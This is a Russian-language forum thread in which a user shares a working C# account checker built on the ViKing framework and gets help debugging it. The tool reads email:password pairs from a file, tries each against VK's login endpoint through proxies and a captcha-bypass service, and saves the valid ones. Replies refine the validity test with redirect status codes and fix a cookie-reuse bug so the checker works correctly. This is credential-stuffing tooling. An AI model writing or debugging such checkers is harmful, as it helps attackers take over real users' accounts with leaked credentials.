Code: using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.Threading; using ViKing.ApplicationFramework; using ViKing.Engine; namespace Viking_Application5 { // Включаем антигейт и прокси [GuiSettings(UseAntigate = true, UseProxies = true)] public class Job : JobBase { public override void DoWork() { // try //{ string[] file = File.ReadAllLines("akks.txt"); //читаем все строки из файла "akks.txt" using (System.IO.StreamWriter files = new System.IO.StreamWriter("Valid.txt", true)) { foreach (string line in file)// создаем переменную строки { string[] temp = line.Split(':'); string createFormatUri = "https://login.vk.com/?act=login&role=al_frame&email=" + temp[0] + "&pass=" + temp[1]; //cоздаем переменную запроса на логин var result = VkRequest.Request(String.Format(createFormatUri), FollowRedirects: true, cookies: ThreadCookies); // пробуем логиниться if (result.Stream.Length > 300) //условие валидности аккаунта { Log("не валидный акк: {0}:{1}", temp[0], temp[1]); } else { files.WriteLine(line);// Записываем акк в файл} Log("Валидный Аккаунт: {0}:{1}", temp[0], temp[1]); } var resultt = VkRequest.Request(String.Format("http://vk.com/login.php?op=logout "), FollowRedirects: true, cookies: ThreadCookies); // делаем logout } } // StopJop("No more accounts"); } //catch // { // } } } Парни, посмотрите что не так, изначально оно работало а потом я решил кое-что подправить, убрал try - catch добавил АГ и Прокси и теперь чекер после первого же валидного акка все последующие воспринимает как валидные. Как условие валидности взято правило result.Stream.Length = 300, когда result.Stream.Length > 300 , это означает что акк не валидный. Такое ощущение что запрос на logout выполняется как-то не правильно, он не выходит из валидного аккаунта и соответственно дальше все остальные воспринимает так же валидными. Помогите пожалуйста разобраться.
Code: foreach (string line in file)// создаем переменную строки Не надо комментировать каждое очевидное выражение, тем более неправильно. Code: if (result.Stream.Length > 300) //условие валидности аккаунта Это очень хреновое условие, по длине ответа. Знаете, почему многие фрилансеры отказываются работать с социалочками? Потому что их[социалочек] интерфейс меняется как девочка в подростковом возрасте. Длина ответа - средняя температура и делать выводы валид\невалид по ней - не лучшая идея. Когда я последний раз проверял, при удачной авторизации вк кидал редирек 30x, при неудачной 200. И это не учитывая баненные, засобаченные и не-той-страны аккаунты. Json с капчей, по-моему, тоже возвращался на 200.
Хорошо, допустим я найду другое условие. А комментарии я пишу для себя, что бы удобнее было. Вопрос в другом, я правильно составил запрос на logout и правильно ли он обрабатывается? потому что у меня впечатление что после 1ого же валидного акка он уже не выходит из него и соответственно последующие воспринимает так же валидными. Как проверить выходит он из него или нет?
я проверил. Он не выходит из аккаунта после запроса Code: result = VkRequest.Request(String.Format("https://vk.com/login.php?op=logout"), FollowRedirects: true, cookies: ThreadCookies); А в браузере выходит. Что я не так делаю?
Выходить в общем-то и не так уж обязательно. Насколько я помню, логаут у них с защитой от CSRF по хешу, который формируется яваскриптом. Выдирайте его регуляркой и вставляйте в запрос, если уж так хочется логаут делать.
Зачем вообще делать logout через сайт? Создавай новый экземпляр ThreadCookies(или вообще его не передавай) для каждого запроса логина.
Да,действительно. Я убрал Cookies из запроса и стало работать правильно. Спасибо всем за потраченное время А зачем его вообще передавать если можно не передавать? Это на что-то влияет?
Вы не поверите, но именно этот вопрос вам и задали. В принципе, единственное на что это влияет - уменьшение онлайн-статуса аккаунта со стандартных 15 минут до какого-то невнятного, но сильно небольшого значения.